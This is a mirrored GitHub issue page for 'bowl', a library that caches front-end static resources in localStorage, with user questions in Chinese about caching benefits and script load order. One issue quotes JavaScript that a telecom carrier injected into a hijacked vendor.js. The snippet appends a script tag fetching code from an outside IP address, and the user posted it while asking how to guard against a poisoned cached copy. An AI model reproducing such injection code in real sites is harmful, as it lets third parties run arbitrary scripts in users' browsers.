GithubHelp home page GithubHelp logo

elemefe / bowl Goto Github PK

View Code? Open in Web Editor NEW
226.0 226.0 14.0 617 KB

🍚 static resources front-end storage solving strategy

Home Page: https://elemefe.github.io/bowl/

License: MIT License

JavaScript 97.97% Shell 0.99% HTML 0.98% CSS 0.06%

bowl's Issues

和浏览器缓存相比的优势是什么?

我在浏览器里的缓存不就已经足够了吗?

screen shot 2016-12-08 at 11 23 31 am

我能想到的是这样做可以避免用户清除缓存。请问还有其他优势吗?

相信作者肯定是有原因做这个的,这样问只是希望更清晰的了解,从而能更好的推广。

另外又想到一个,就是既然代码是以string的状态存在浏览器,是不是会考虑在代码升级时只加载更新的部分,这样就比浏览器缓存优势大多了。

可是如果是考虑代码升级,那其实还是很复杂的,这个库并没有解决真正核心的问题呀。求解答。谢谢

第一次加载如果文件存在依赖关系会报错

第一次加载如果文件存在依赖关系会报错
原因:异步加载的脚步加载完的时间不一样,依赖的js文件可能在被依赖的文件加载慢.
解决方案:为创建文件按照add函数编写顺序加载(第二次加载是会这样的,因为文件已经全部缓存)
为异步加载文件创建一个数组,对比add里面的数组进行编码,全部js加载完毕在插入js脚本.
本人能力有限暂没法修复改bug...只提供使用建议.谢谢!
原来是这样的,我并不想写依赖,就像正常写js一样
不写依赖

bowl.add([
		{ url: 'js/jquery.min.js', key: 'jquery' },
		{ url: 'js/touchslidingBase.js', key: 'touchslidingBase' },
		{ url: 'js/touchSlidingBox.min.js', key: 'touchSlidingBox' },
		{ url: 'js/jquery-loading.1.8.min.js', key: 'jquery_loading' },
		{ url: 'js/swiper3.4.2.js', key: 'swiper' ,noCache:false},
		{ url: 'js/youkuVideoInfo.js?v=3', key: 'youkuVideoInfo' },
		{ url: 'js/index.js?v=1', key: 'index' }
	]);

写依赖,依赖文件过长.

bowl.add([
		{ url: 'js/jquery.min.js', key: 'jquery' },
		{ url: 'js/touchslidingBase.js', key: 'touchslidingBase',dependencies: ['jquery'] },
		{ url: 'js/touchSlidingBox.min.js', key: 'touchSlidingBox',dependencies: ['jquery','touchslidingBase'] },
		{ url: 'js/jquery-loading.1.8.min.js', key: 'jquery_loading', dependencies: ['jquery']},
		{ url: 'js/swiper3.4.2.js', key: 'swiper', dependencies: ['jquery']},
		{ url: 'js/youkuVideoInfo.js?v=3', key: 'youkuVideoInfo',dependencies: ['jquery'] },
		{ url: 'js/index.js?v=1', key: 'index',dependencies: ['jquery','touchslidingBase','touchSlidingBox','jquery-loading','swiper3','youkuVideoInfo'] }
	]);

现在测试修改了原文件方法.

执行顺序

var bowl = new Bowl()
bowl.add([
{ url: 'dist/vendor.[hash].js', key: 'vendor' },
{ url: 'dist/app.[hash].js', key: 'app' },
{ url: 'dist/style.[hash].css', key: 'style' }
])
请问不论这三个文件是以何种方式加载,能保证按顺序执行吗?

js的文件内容被篡改(运营商劫持),而又被localStorage存储了,怎么处理?

遇到过这样的一个情况,一个vendor.js,被电信运营商劫持,直接修改js的内容。被篡改的js代码如下

var atn_obj = new Object;
atn_obj.oldurl = 'http://images.plateno.com/mall_static/js/vendors.1901b82521098c3663c0.js?cHVzaA=105658';
atn_obj.unified_url = 'http://121.15.207.224:3535/adv_select/ad_unified_access?SP=ABzs/PzoPOz8zPg7yXnpGRmpOgmJugy8vPzs/Pg86Dy8vPzs/Pg8/Nz8/Ny8rKyc7Jv87JzNGYm4PKxtHLzdHNzMjRzMyDzoPOz8rJyseDz4PPg5Kek5PRj5Oei5qRkNGckJKDzsvHy87MyMjGzIPNg88=';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.unified_url;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);

由于被篡改,导致执行的顺序出错,出现异常。被篡改的js已被localStorage缓存了,下次访问会继续执行,面对这个异常情况,有比较好的机制去预防么?``

有点酸

14年底对本地存储缓存代码开始研究;

15年 产出这个东西 https://github.com/litson/Seedjs

介于公司的某些方面限制,没有发扬光大,继而不再继续开发维护;

今天看到被其他团队实现而且发扬光大,心理感觉有点唏嘘,持续关注,加油

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.